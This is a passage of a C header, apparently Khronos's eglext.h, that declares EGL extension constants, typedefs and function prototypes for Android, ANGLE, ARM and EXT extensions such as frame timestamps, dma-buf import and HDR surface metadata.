PFNEGLCREATENATIVECLIENTBUFFERANDROIDPROC) (const EGLint *attrib_list); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLClientBuffer EGLAPIENTRY eglCreateNativeClientBufferANDROID (const EGLint *attrib_list); #endif #endif /* EGL_ANDROID_create_native_client_buffer */ #ifndef EGL_ANDROID_framebuffer_target #define EGL_ANDROID_framebuffer_target 1 #define EGL_FRAMEBUFFER_TARGET_ANDROID 0x3147 #endif /* EGL_ANDROID_framebuffer_target */ #ifndef EGL_ANDROID_front_buffer_auto_refresh #define EGL_ANDROID_front_buffer_auto_refresh 1 #define EGL_FRONT_BUFFER_AUTO_REFRESH_ANDROID 0x314C #endif /* EGL_ANDROID_front_buffer_auto_refresh */ #ifndef EGL_ANDROID_get_frame_timestamps #define EGL_ANDROID_get_frame_timestamps 1 typedef khronos_stime_nanoseconds_t EGLnsecsANDROID; #define EGL_TIMESTAMP_PENDING_ANDROID EGL_CAST(EGLnsecsANDROID,-2) #define EGL_TIMESTAMP_INVALID_ANDROID EGL_CAST(EGLnsecsANDROID,-1) #define EGL_TIMESTAMPS_ANDROID 0x3430 #define EGL_COMPOSITE_DEADLINE_ANDROID 0x3431 #define EGL_COMPOSITE_INTERVAL_ANDROID 0x3432 #define EGL_COMPOSITE_TO_PRESENT_LATENCY_ANDROID 0x3433 #define EGL_REQUESTED_PRESENT_TIME_ANDROID 0x3434 #define EGL_RENDERING_COMPLETE_TIME_ANDROID 0x3435 #define EGL_COMPOSITION_LATCH_TIME_ANDROID 0x3436 #define EGL_FIRST_COMPOSITION_START_TIME_ANDROID 0x3437 #define EGL_LAST_COMPOSITION_START_TIME_ANDROID 0x3438 #define EGL_FIRST_COMPOSITION_GPU_FINISHED_TIME_ANDROID 0x3439 #define EGL_DISPLAY_PRESENT_TIME_ANDROID 0x343A #define EGL_DEQUEUE_READY_TIME_ANDROID 0x343B #define EGL_READS_DONE_TIME_ANDROID 0x343C typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETCOMPOSITORTIMINGSUPPORTEDANDROIDPROC) (EGLDisplay dpy, EGLSurface surface, EGLint name); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETCOMPOSITORTIMINGANDROIDPROC) (EGLDisplay dpy, EGLSurface surface, EGLint numTimestamps, const EGLint *names, EGLnsecsANDROID *values); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETNEXTFRAMEIDANDROIDPROC) (EGLDisplay dpy, EGLSurface surface, EGLuint64KHR *frameId); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETFRAMETIMESTAMPSUPPORTEDANDROIDPROC) (EGLDisplay dpy, EGLSurface surface, EGLint timestamp); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETFRAMETIMESTAMPSANDROIDPROC) (EGLDisplay dpy, EGLSurface surface, EGLuint64KHR frameId, EGLint numTimestamps, const EGLint *timestamps, EGLnsecsANDROID *values); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglGetCompositorTimingSupportedANDROID (EGLDisplay dpy, EGLSurface surface, EGLint name); EGLAPI EGLBoolean EGLAPIENTRY eglGetCompositorTimingANDROID (EGLDisplay dpy, EGLSurface surface, EGLint numTimestamps, const EGLint *names, EGLnsecsANDROID *values); EGLAPI EGLBoolean EGLAPIENTRY eglGetNextFrameIdANDROID (EGLDisplay dpy, EGLSurface surface, EGLuint64KHR *frameId); EGLAPI EGLBoolean EGLAPIENTRY eglGetFrameTimestampSupportedANDROID (EGLDisplay dpy, EGLSurface surface, EGLint timestamp); EGLAPI EGLBoolean EGLAPIENTRY eglGetFrameTimestampsANDROID (EGLDisplay dpy, EGLSurface surface, EGLuint64KHR frameId, EGLint numTimestamps, const EGLint *timestamps, EGLnsecsANDROID *values); #endif #endif /* EGL_ANDROID_get_frame_timestamps */ #ifndef EGL_ANDROID_get_native_client_buffer #define EGL_ANDROID_get_native_client_buffer 1 struct AHardwareBuffer; typedef EGLClientBuffer (EGLAPIENTRYP PFNEGLGETNATIVECLIENTBUFFERANDROIDPROC) (const struct AHardwareBuffer *buffer); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLClientBuffer EGLAPIENTRY eglGetNativeClientBufferANDROID (const struct AHardwareBuffer *buffer); #endif #endif /* EGL_ANDROID_get_native_client_buffer */ #ifndef EGL_ANDROID_image_native_buffer #define EGL_ANDROID_image_native_buffer 1 #define EGL_NATIVE_BUFFER_ANDROID 0x3140 #endif /* EGL_ANDROID_image_native_buffer */ #ifndef EGL_ANDROID_native_fence_sync #define EGL_ANDROID_native_fence_sync 1 #define EGL_SYNC_NATIVE_FENCE_ANDROID 0x3144 #define EGL_SYNC_NATIVE_FENCE_FD_ANDROID 0x3145 #define EGL_SYNC_NATIVE_FENCE_SIGNALED_ANDROID 0x3146 #define EGL_NO_NATIVE_FENCE_FD_ANDROID -1 typedef EGLint (EGLAPIENTRYP PFNEGLDUPNATIVEFENCEFDANDROIDPROC) (EGLDisplay dpy, EGLSyncKHR sync); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLint EGLAPIENTRY eglDupNativeFenceFDANDROID (EGLDisplay dpy, EGLSyncKHR sync); #endif #endif /* EGL_ANDROID_native_fence_sync */ #ifndef EGL_ANDROID_presentation_time #define EGL_ANDROID_presentation_time 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLPRESENTATIONTIMEANDROIDPROC) (EGLDisplay dpy, EGLSurface surface, EGLnsecsANDROID time); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglPresentationTimeANDROID (EGLDisplay dpy, EGLSurface surface, EGLnsecsANDROID time); #endif #endif /* EGL_ANDROID_presentation_time */ #ifndef EGL_ANDROID_recordable #define EGL_ANDROID_recordable 1 #define EGL_RECORDABLE_ANDROID 0x3142 #endif /* EGL_ANDROID_recordable */ #ifndef EGL_ANGLE_d3d_share_handle_client_buffer #define EGL_ANGLE_d3d_share_handle_client_buffer 1 #define EGL_D3D_TEXTURE_2D_SHARE_HANDLE_ANGLE 0x3200 #endif /* EGL_ANGLE_d3d_share_handle_client_buffer */ #ifndef EGL_ANGLE_device_d3d #define EGL_ANGLE_device_d3d 1 #define EGL_D3D9_DEVICE_ANGLE 0x33A0 #define EGL_D3D11_DEVICE_ANGLE 0x33A1 #endif /* EGL_ANGLE_device_d3d */ #ifndef EGL_ANGLE_query_surface_pointer #define EGL_ANGLE_query_surface_pointer 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYSURFACEPOINTERANGLEPROC) (EGLDisplay dpy, EGLSurface surface, EGLint attribute, void **value); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglQuerySurfacePointerANGLE (EGLDisplay dpy, EGLSurface surface, EGLint attribute, void **value); #endif #endif /* EGL_ANGLE_query_surface_pointer */ #ifndef EGL_ANGLE_surface_d3d_texture_2d_share_handle #define EGL_ANGLE_surface_d3d_texture_2d_share_handle 1 #endif /* EGL_ANGLE_surface_d3d_texture_2d_share_handle */ #ifndef EGL_ANGLE_sync_control_rate #define EGL_ANGLE_sync_control_rate 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETMSCRATEANGLEPROC) (EGLDisplay dpy, EGLSurface surface, EGLint *numerator, EGLint *denominator); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglGetMscRateANGLE (EGLDisplay dpy, EGLSurface surface, EGLint *numerator, EGLint *denominator); #endif #endif /* EGL_ANGLE_sync_control_rate */ #ifndef EGL_ANGLE_window_fixed_size #define EGL_ANGLE_window_fixed_size 1 #define EGL_FIXED_SIZE_ANGLE 0x3201 #endif /* EGL_ANGLE_window_fixed_size */ #ifndef EGL_ARM_image_format #define EGL_ARM_image_format 1 #define EGL_COLOR_COMPONENT_TYPE_UNSIGNED_INTEGER_ARM 0x3287 #define EGL_COLOR_COMPONENT_TYPE_INTEGER_ARM 0x3288 #endif /* EGL_ARM_image_format */ #ifndef EGL_ARM_implicit_external_sync #define EGL_ARM_implicit_external_sync 1 #define EGL_SYNC_PRIOR_COMMANDS_IMPLICIT_EXTERNAL_ARM 0x328A #endif /* EGL_ARM_implicit_external_sync */ #ifndef EGL_ARM_pixmap_multisample_discard #define EGL_ARM_pixmap_multisample_discard 1 #define EGL_DISCARD_SAMPLES_ARM 0x3286 #endif /* EGL_ARM_pixmap_multisample_discard */ #ifndef EGL_EXT_bind_to_front #define EGL_EXT_bind_to_front 1 #define EGL_FRONT_BUFFER_EXT 0x3464 #endif /* EGL_EXT_bind_to_front */ #ifndef EGL_EXT_buffer_age #define EGL_EXT_buffer_age 1 #define EGL_BUFFER_AGE_EXT 0x313D #endif /* EGL_EXT_buffer_age */ #ifndef EGL_EXT_client_extensions #define EGL_EXT_client_extensions 1 #endif /* EGL_EXT_client_extensions */ #ifndef EGL_EXT_client_sync #define EGL_EXT_client_sync 1 #define EGL_SYNC_CLIENT_EXT 0x3364 #define EGL_SYNC_CLIENT_SIGNAL_EXT 0x3365 typedef EGLBoolean (EGLAPIENTRYP PFNEGLCLIENTSIGNALSYNCEXTPROC) (EGLDisplay dpy, EGLSync sync, const EGLAttrib *attrib_list); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglClientSignalSyncEXT (EGLDisplay dpy, EGLSync sync, const EGLAttrib *attrib_list); #endif #endif /* EGL_EXT_client_sync */ #ifndef EGL_EXT_compositor #define EGL_EXT_compositor 1 #define EGL_PRIMARY_COMPOSITOR_CONTEXT_EXT 0x3460 #define EGL_EXTERNAL_REF_ID_EXT 0x3461 #define EGL_COMPOSITOR_DROP_NEWEST_FRAME_EXT 0x3462 #define EGL_COMPOSITOR_KEEP_NEWEST_FRAME_EXT 0x3463 typedef EGLBoolean (EGLAPIENTRYP PFNEGLCOMPOSITORSETCONTEXTLISTEXTPROC) (const EGLint *external_ref_ids, EGLint num_entries); typedef EGLBoolean (EGLAPIENTRYP PFNEGLCOMPOSITORSETCONTEXTATTRIBUTESEXTPROC) (EGLint external_ref_id, const EGLint *context_attributes, EGLint num_entries); typedef EGLBoolean (EGLAPIENTRYP PFNEGLCOMPOSITORSETWINDOWLISTEXTPROC) (EGLint external_ref_id, const EGLint *external_win_ids, EGLint num_entries); typedef EGLBoolean (EGLAPIENTRYP PFNEGLCOMPOSITORSETWINDOWATTRIBUTESEXTPROC) (EGLint external_win_id, const EGLint *window_attributes, EGLint num_entries); typedef EGLBoolean (EGLAPIENTRYP PFNEGLCOMPOSITORBINDTEXWINDOWEXTPROC) (EGLint external_win_id); typedef EGLBoolean (EGLAPIENTRYP PFNEGLCOMPOSITORSETSIZEEXTPROC) (EGLint external_win_id, EGLint width, EGLint height); typedef EGLBoolean (EGLAPIENTRYP PFNEGLCOMPOSITORSWAPPOLICYEXTPROC) (EGLint external_win_id, EGLint policy); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglCompositorSetContextListEXT (const EGLint *external_ref_ids, EGLint num_entries); EGLAPI EGLBoolean EGLAPIENTRY eglCompositorSetContextAttributesEXT (EGLint external_ref_id, const EGLint *context_attributes, EGLint num_entries); EGLAPI EGLBoolean EGLAPIENTRY eglCompositorSetWindowListEXT (EGLint external_ref_id, const EGLint *external_win_ids, EGLint num_entries); EGLAPI EGLBoolean EGLAPIENTRY eglCompositorSetWindowAttributesEXT (EGLint external_win_id, const EGLint *window_attributes, EGLint num_entries); EGLAPI EGLBoolean EGLAPIENTRY eglCompositorBindTexWindowEXT (EGLint external_win_id); EGLAPI EGLBoolean EGLAPIENTRY eglCompositorSetSizeEXT (EGLint external_win_id, EGLint width, EGLint height); EGLAPI EGLBoolean EGLAPIENTRY eglCompositorSwapPolicyEXT (EGLint external_win_id, EGLint policy); #endif #endif /* EGL_EXT_compositor */ #ifndef EGL_EXT_config_select_group #define EGL_EXT_config_select_group 1 #define EGL_CONFIG_SELECT_GROUP_EXT 0x34C0 #endif /* EGL_EXT_config_select_group */ #ifndef EGL_EXT_create_context_robustness #define EGL_EXT_create_context_robustness 1 #define EGL_CONTEXT_OPENGL_ROBUST_ACCESS_EXT 0x30BF #define EGL_CONTEXT_OPENGL_RESET_NOTIFICATION_STRATEGY_EXT 0x3138 #define EGL_NO_RESET_NOTIFICATION_EXT 0x31BE #define EGL_LOSE_CONTEXT_ON_RESET_EXT 0x31BF #endif /* EGL_EXT_create_context_robustness */ #ifndef EGL_EXT_device_base #define EGL_EXT_device_base 1 typedef void *EGLDeviceEXT; #define EGL_NO_DEVICE_EXT EGL_CAST(EGLDeviceEXT,0) #define EGL_BAD_DEVICE_EXT 0x322B #define EGL_DEVICE_EXT 0x322C typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYDEVICEATTRIBEXTPROC) (EGLDeviceEXT device, EGLint attribute, EGLAttrib *value); typedef const char *(EGLAPIENTRYP PFNEGLQUERYDEVICESTRINGEXTPROC) (EGLDeviceEXT device, EGLint name); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYDEVICESEXTPROC) (EGLint max_devices, EGLDeviceEXT *devices, EGLint *num_devices); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYDISPLAYATTRIBEXTPROC) (EGLDisplay dpy, EGLint attribute, EGLAttrib *value); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglQueryDeviceAttribEXT (EGLDeviceEXT device, EGLint attribute, EGLAttrib *value); EGLAPI const char *EGLAPIENTRY eglQueryDeviceStringEXT (EGLDeviceEXT device, EGLint name); EGLAPI EGLBoolean EGLAPIENTRY eglQueryDevicesEXT (EGLint max_devices, EGLDeviceEXT *devices, EGLint *num_devices); EGLAPI EGLBoolean EGLAPIENTRY eglQueryDisplayAttribEXT (EGLDisplay dpy, EGLint attribute, EGLAttrib *value); #endif #endif /* EGL_EXT_device_base */ #ifndef EGL_EXT_device_drm #define EGL_EXT_device_drm 1 #define EGL_DRM_DEVICE_FILE_EXT 0x3233 #define EGL_DRM_MASTER_FD_EXT 0x333C #endif /* EGL_EXT_device_drm */ #ifndef EGL_EXT_device_drm_render_node #define EGL_EXT_device_drm_render_node 1 #define EGL_DRM_RENDER_NODE_FILE_EXT 0x3377 #endif /* EGL_EXT_device_drm_render_node */ #ifndef EGL_EXT_device_enumeration #define EGL_EXT_device_enumeration 1 #endif /* EGL_EXT_device_enumeration */ #ifndef EGL_EXT_device_openwf #define EGL_EXT_device_openwf 1 #define EGL_OPENWF_DEVICE_ID_EXT 0x3237 #endif /* EGL_EXT_device_openwf */ #ifndef EGL_EXT_device_persistent_id #define EGL_EXT_device_persistent_id 1 #define EGL_DEVICE_UUID_EXT 0x335C #define EGL_DRIVER_UUID_EXT 0x335D #define EGL_DRIVER_NAME_EXT 0x335E typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYDEVICEBINARYEXTPROC) (EGLDeviceEXT device, EGLint name, EGLint max_size, void *value, EGLint *size); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglQueryDeviceBinaryEXT (EGLDeviceEXT device, EGLint name, EGLint max_size, void *value, EGLint *size); #endif #endif /* EGL_EXT_device_persistent_id */ #ifndef EGL_EXT_device_query #define EGL_EXT_device_query 1 #endif /* EGL_EXT_device_query */ #ifndef EGL_EXT_device_query_name #define EGL_EXT_device_query_name 1 #define EGL_RENDERER_EXT 0x335F #endif /* EGL_EXT_device_query_name */ #ifndef EGL_EXT_gl_colorspace_bt2020_linear #define EGL_EXT_gl_colorspace_bt2020_linear 1 #define EGL_GL_COLORSPACE_BT2020_LINEAR_EXT 0x333F #endif /* EGL_EXT_gl_colorspace_bt2020_linear */ #ifndef EGL_EXT_gl_colorspace_bt2020_pq #define EGL_EXT_gl_colorspace_bt2020_pq 1 #define EGL_GL_COLORSPACE_BT2020_PQ_EXT 0x3340 #endif /* EGL_EXT_gl_colorspace_bt2020_pq */ #ifndef EGL_EXT_gl_colorspace_display_p3 #define EGL_EXT_gl_colorspace_display_p3 1 #define EGL_GL_COLORSPACE_DISPLAY_P3_EXT 0x3363 #endif /* EGL_EXT_gl_colorspace_display_p3 */ #ifndef EGL_EXT_gl_colorspace_display_p3_linear #define EGL_EXT_gl_colorspace_display_p3_linear 1 #define EGL_GL_COLORSPACE_DISPLAY_P3_LINEAR_EXT 0x3362 #endif /* EGL_EXT_gl_colorspace_display_p3_linear */ #ifndef EGL_EXT_gl_colorspace_display_p3_passthrough #define EGL_EXT_gl_colorspace_display_p3_passthrough 1 #define EGL_GL_COLORSPACE_DISPLAY_P3_PASSTHROUGH_EXT 0x3490 #endif /* EGL_EXT_gl_colorspace_display_p3_passthrough */ #ifndef EGL_EXT_gl_colorspace_scrgb #define EGL_EXT_gl_colorspace_scrgb 1 #define EGL_GL_COLORSPACE_SCRGB_EXT 0x3351 #endif /* EGL_EXT_gl_colorspace_scrgb */ #ifndef EGL_EXT_gl_colorspace_scrgb_linear #define EGL_EXT_gl_colorspace_scrgb_linear 1 #define EGL_GL_COLORSPACE_SCRGB_LINEAR_EXT 0x3350 #endif /* EGL_EXT_gl_colorspace_scrgb_linear */ #ifndef EGL_EXT_image_dma_buf_import #define EGL_EXT_image_dma_buf_import 1 #define EGL_LINUX_DMA_BUF_EXT 0x3270 #define EGL_LINUX_DRM_FOURCC_EXT 0x3271 #define EGL_DMA_BUF_PLANE0_FD_EXT 0x3272 #define EGL_DMA_BUF_PLANE0_OFFSET_EXT 0x3273 #define EGL_DMA_BUF_PLANE0_PITCH_EXT 0x3274 #define EGL_DMA_BUF_PLANE1_FD_EXT 0x3275 #define EGL_DMA_BUF_PLANE1_OFFSET_EXT 0x3276 #define EGL_DMA_BUF_PLANE1_PITCH_EXT 0x3277 #define EGL_DMA_BUF_PLANE2_FD_EXT 0x3278 #define EGL_DMA_BUF_PLANE2_OFFSET_EXT 0x3279 #define EGL_DMA_BUF_PLANE2_PITCH_EXT 0x327A #define EGL_YUV_COLOR_SPACE_HINT_EXT 0x327B #define EGL_SAMPLE_RANGE_HINT_EXT 0x327C #define EGL_YUV_CHROMA_HORIZONTAL_SITING_HINT_EXT 0x327D #define EGL_YUV_CHROMA_VERTICAL_SITING_HINT_EXT 0x327E #define EGL_ITU_REC601_EXT 0x327F #define EGL_ITU_REC709_EXT 0x3280 #define EGL_ITU_REC2020_EXT 0x3281 #define EGL_YUV_FULL_RANGE_EXT 0x3282 #define EGL_YUV_NARROW_RANGE_EXT 0x3283 #define EGL_YUV_CHROMA_SITING_0_EXT 0x3284 #define EGL_YUV_CHROMA_SITING_0_5_EXT 0x3285 #endif /* EGL_EXT_image_dma_buf_import */ #ifndef EGL_EXT_image_dma_buf_import_modifiers #define EGL_EXT_image_dma_buf_import_modifiers 1 #define EGL_DMA_BUF_PLANE3_FD_EXT 0x3440 #define EGL_DMA_BUF_PLANE3_OFFSET_EXT 0x3441 #define EGL_DMA_BUF_PLANE3_PITCH_EXT 0x3442 #define EGL_DMA_BUF_PLANE0_MODIFIER_LO_EXT 0x3443 #define EGL_DMA_BUF_PLANE0_MODIFIER_HI_EXT 0x3444 #define EGL_DMA_BUF_PLANE1_MODIFIER_LO_EXT 0x3445 #define EGL_DMA_BUF_PLANE1_MODIFIER_HI_EXT 0x3446 #define EGL_DMA_BUF_PLANE2_MODIFIER_LO_EXT 0x3447 #define EGL_DMA_BUF_PLANE2_MODIFIER_HI_EXT 0x3448 #define EGL_DMA_BUF_PLANE3_MODIFIER_LO_EXT 0x3449 #define EGL_DMA_BUF_PLANE3_MODIFIER_HI_EXT 0x344A typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYDMABUFFORMATSEXTPROC) (EGLDisplay dpy, EGLint max_formats, EGLint *formats, EGLint *num_formats); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYDMABUFMODIFIERSEXTPROC) (EGLDisplay dpy, EGLint format, EGLint max_modifiers, EGLuint64KHR *modifiers, EGLBoolean *external_only, EGLint *num_modifiers); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglQueryDmaBufFormatsEXT (EGLDisplay dpy, EGLint max_formats, EGLint *formats, EGLint *num_formats); EGLAPI EGLBoolean EGLAPIENTRY eglQueryDmaBufModifiersEXT (EGLDisplay dpy, EGLint format, EGLint max_modifiers, EGLuint64KHR *modifiers, EGLBoolean *external_only, EGLint *num_modifiers); #endif #endif /* EGL_EXT_image_dma_buf_import_modifiers */ #ifndef EGL_EXT_image_gl_colorspace #define EGL_EXT_image_gl_colorspace 1 #define EGL_GL_COLORSPACE_DEFAULT_EXT 0x314D #endif /* EGL_EXT_image_gl_colorspace */ #ifndef EGL_EXT_image_implicit_sync_control #define EGL_EXT_image_implicit_sync_control 1 #define EGL_IMPORT_SYNC_TYPE_EXT 0x3470 #define EGL_IMPORT_IMPLICIT_SYNC_EXT 0x3471 #define EGL_IMPORT_EXPLICIT_SYNC_EXT 0x3472 #endif /* EGL_EXT_image_implicit_sync_control */ #ifndef EGL_EXT_multiview_window #define EGL_EXT_multiview_window 1 #define EGL_MULTIVIEW_VIEW_COUNT_EXT 0x3134 #endif /* EGL_EXT_multiview_window */ #ifndef EGL_EXT_output_base #define EGL_EXT_output_base 1 typedef void *EGLOutputLayerEXT; typedef void *EGLOutputPortEXT; #define EGL_NO_OUTPUT_LAYER_EXT EGL_CAST(EGLOutputLayerEXT,0) #define EGL_NO_OUTPUT_PORT_EXT EGL_CAST(EGLOutputPortEXT,0) #define EGL_BAD_OUTPUT_LAYER_EXT 0x322D #define EGL_BAD_OUTPUT_PORT_EXT 0x322E #define EGL_SWAP_INTERVAL_EXT 0x322F typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETOUTPUTLAYERSEXTPROC) (EGLDisplay dpy, const EGLAttrib *attrib_list, EGLOutputLayerEXT *layers, EGLint max_layers, EGLint *num_layers); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETOUTPUTPORTSEXTPROC) (EGLDisplay dpy, const EGLAttrib *attrib_list, EGLOutputPortEXT *ports, EGLint max_ports, EGLint *num_ports); typedef EGLBoolean (EGLAPIENTRYP PFNEGLOUTPUTLAYERATTRIBEXTPROC) (EGLDisplay dpy, EGLOutputLayerEXT layer, EGLint attribute, EGLAttrib value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYOUTPUTLAYERATTRIBEXTPROC) (EGLDisplay dpy, EGLOutputLayerEXT layer, EGLint attribute, EGLAttrib *value); typedef const char *(EGLAPIENTRYP PFNEGLQUERYOUTPUTLAYERSTRINGEXTPROC) (EGLDisplay dpy, EGLOutputLayerEXT layer, EGLint name); typedef EGLBoolean (EGLAPIENTRYP PFNEGLOUTPUTPORTATTRIBEXTPROC) (EGLDisplay dpy, EGLOutputPortEXT port, EGLint attribute, EGLAttrib value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYOUTPUTPORTATTRIBEXTPROC) (EGLDisplay dpy, EGLOutputPortEXT port, EGLint attribute, EGLAttrib *value); typedef const char *(EGLAPIENTRYP PFNEGLQUERYOUTPUTPORTSTRINGEXTPROC) (EGLDisplay dpy, EGLOutputPortEXT port, EGLint name); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglGetOutputLayersEXT (EGLDisplay dpy, const EGLAttrib *attrib_list, EGLOutputLayerEXT *layers, EGLint max_layers, EGLint *num_layers); EGLAPI EGLBoolean EGLAPIENTRY eglGetOutputPortsEXT (EGLDisplay dpy, const EGLAttrib *attrib_list, EGLOutputPortEXT *ports, EGLint max_ports, EGLint *num_ports); EGLAPI EGLBoolean EGLAPIENTRY eglOutputLayerAttribEXT (EGLDisplay dpy, EGLOutputLayerEXT layer, EGLint attribute, EGLAttrib value); EGLAPI EGLBoolean EGLAPIENTRY eglQueryOutputLayerAttribEXT (EGLDisplay dpy, EGLOutputLayerEXT layer, EGLint attribute, EGLAttrib *value); EGLAPI const char *EGLAPIENTRY eglQueryOutputLayerStringEXT (EGLDisplay dpy, EGLOutputLayerEXT layer, EGLint name); EGLAPI EGLBoolean EGLAPIENTRY eglOutputPortAttribEXT (EGLDisplay dpy, EGLOutputPortEXT port, EGLint attribute, EGLAttrib value); EGLAPI EGLBoolean EGLAPIENTRY eglQueryOutputPortAttribEXT (EGLDisplay dpy, EGLOutputPortEXT port, EGLint attribute, EGLAttrib *value); EGLAPI const char *EGLAPIENTRY eglQueryOutputPortStringEXT (EGLDisplay dpy, EGLOutputPortEXT port, EGLint name); #endif #endif /* EGL_EXT_output_base */ #ifndef EGL_EXT_output_drm #define EGL_EXT_output_drm 1 #define EGL_DRM_CRTC_EXT 0x3234 #define EGL_DRM_PLANE_EXT 0x3235 #define EGL_DRM_CONNECTOR_EXT 0x3236 #endif /* EGL_EXT_output_drm */ #ifndef EGL_EXT_output_openwf #define EGL_EXT_output_openwf 1 #define EGL_OPENWF_PIPELINE_ID_EXT 0x3238 #define EGL_OPENWF_PORT_ID_EXT 0x3239 #endif /* EGL_EXT_output_openwf */ #ifndef EGL_EXT_pixel_format_float #define EGL_EXT_pixel_format_float 1 #define EGL_COLOR_COMPONENT_TYPE_EXT 0x3339 #define EGL_COLOR_COMPONENT_TYPE_FIXED_EXT 0x333A #define EGL_COLOR_COMPONENT_TYPE_FLOAT_EXT 0x333B #endif /* EGL_EXT_pixel_format_float */ #ifndef EGL_EXT_platform_base #define EGL_EXT_platform_base 1 typedef EGLDisplay (EGLAPIENTRYP PFNEGLGETPLATFORMDISPLAYEXTPROC) (EGLenum platform, void *native_display, const EGLint *attrib_list); typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATEPLATFORMWINDOWSURFACEEXTPROC) (EGLDisplay dpy, EGLConfig config, void *native_window, const EGLint *attrib_list); typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATEPLATFORMPIXMAPSURFACEEXTPROC) (EGLDisplay dpy, EGLConfig config, void *native_pixmap, const EGLint *attrib_list); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLDisplay EGLAPIENTRY eglGetPlatformDisplayEXT (EGLenum platform, void *native_display, const EGLint *attrib_list); EGLAPI EGLSurface EGLAPIENTRY eglCreatePlatformWindowSurfaceEXT (EGLDisplay dpy, EGLConfig config, void *native_window, const EGLint *attrib_list); EGLAPI EGLSurface EGLAPIENTRY eglCreatePlatformPixmapSurfaceEXT (EGLDisplay dpy, EGLConfig config, void *native_pixmap, const EGLint *attrib_list); #endif #endif /* EGL_EXT_platform_base */ #ifndef EGL_EXT_platform_device #define EGL_EXT_platform_device 1 #define EGL_PLATFORM_DEVICE_EXT 0x313F #endif /* EGL_EXT_platform_device */ #ifndef EGL_EXT_platform_wayland #define EGL_EXT_platform_wayland 1 #define EGL_PLATFORM_WAYLAND_EXT 0x31D8 #endif /* EGL_EXT_platform_wayland */ #ifndef EGL_EXT_platform_x11 #define EGL_EXT_platform_x11 1 #define EGL_PLATFORM_X11_EXT 0x31D5 #define EGL_PLATFORM_X11_SCREEN_EXT 0x31D6 #endif /* EGL_EXT_platform_x11 */ #ifndef EGL_EXT_platform_xcb #define EGL_EXT_platform_xcb 1 #define EGL_PLATFORM_XCB_EXT 0x31DC #define EGL_PLATFORM_XCB_SCREEN_EXT 0x31DE #endif /* EGL_EXT_platform_xcb */ #ifndef EGL_EXT_present_opaque #define EGL_EXT_present_opaque 1 #define EGL_PRESENT_OPAQUE_EXT 0x31DF #endif /* EGL_EXT_present_opaque */ #ifndef EGL_EXT_protected_content #define EGL_EXT_protected_content 1 #define EGL_PROTECTED_CONTENT_EXT 0x32C0 #endif /* EGL_EXT_protected_content */ #ifndef EGL_EXT_protected_surface #define EGL_EXT_protected_surface 1 #endif /* EGL_EXT_protected_surface */ #ifndef EGL_EXT_stream_consumer_egloutput #define EGL_EXT_stream_consumer_egloutput 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMCONSUMEROUTPUTEXTPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLOutputLayerEXT layer); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglStreamConsumerOutputEXT (EGLDisplay dpy, EGLStreamKHR stream, EGLOutputLayerEXT layer); #endif #endif /* EGL_EXT_stream_consumer_egloutput */ #ifndef EGL_EXT_surface_CTA861_3_metadata #define EGL_EXT_surface_CTA861_3_metadata 1 #define EGL_CTA861_3_MAX_CONTENT_LIGHT_LEVEL_EXT 0x3360 #define EGL_CTA861_3_MAX_FRAME_AVERAGE_LEVEL_EXT 0x3361 #endif /* EGL_EXT_surface_CTA861_3_metadata */ #ifndef EGL_EXT_surface_SMPTE2086_metadata #define EGL_EXT_surface_SMPTE2086_metadata 1 #define EGL_SMPTE2086_DISPLAY_PRIMARY_RX_EXT 0x3341 #define EGL_SMPTE2086_DISPLAY_PRIMARY_RY_EXT 0x3342 #define EGL_SMPTE2086_DISPLAY_PRIMARY_GX_EXT 0x3343 #define EGL_SMPTE2086_DISPLAY_PRIMARY_GY_EXT 0x3344 #define EGL_SMPTE2086_DISPLAY_PRIMARY_BX_EXT 0x3345 #define EGL_SMPTE2086_DISPLAY_PRIMARY_BY_EXT 0x3346 #define EGL_SMPTE2086_WHITE_POINT_X_EXT 0x3347 #define EGL_SMPTE2086_WHITE_POINT_Y_EXT 0x3348 #define EGL_SMPTE2086_MAX_LUMINANCE_EXT 0x3349 #define EGL_SMPTE2086_MIN_LUMINANCE_EXT 0x334A #define EGL_METADATA_SCALING_EXT 50000 #endif /* EGL_EXT_surface_SMPTE2086_metadata */ #ifndef 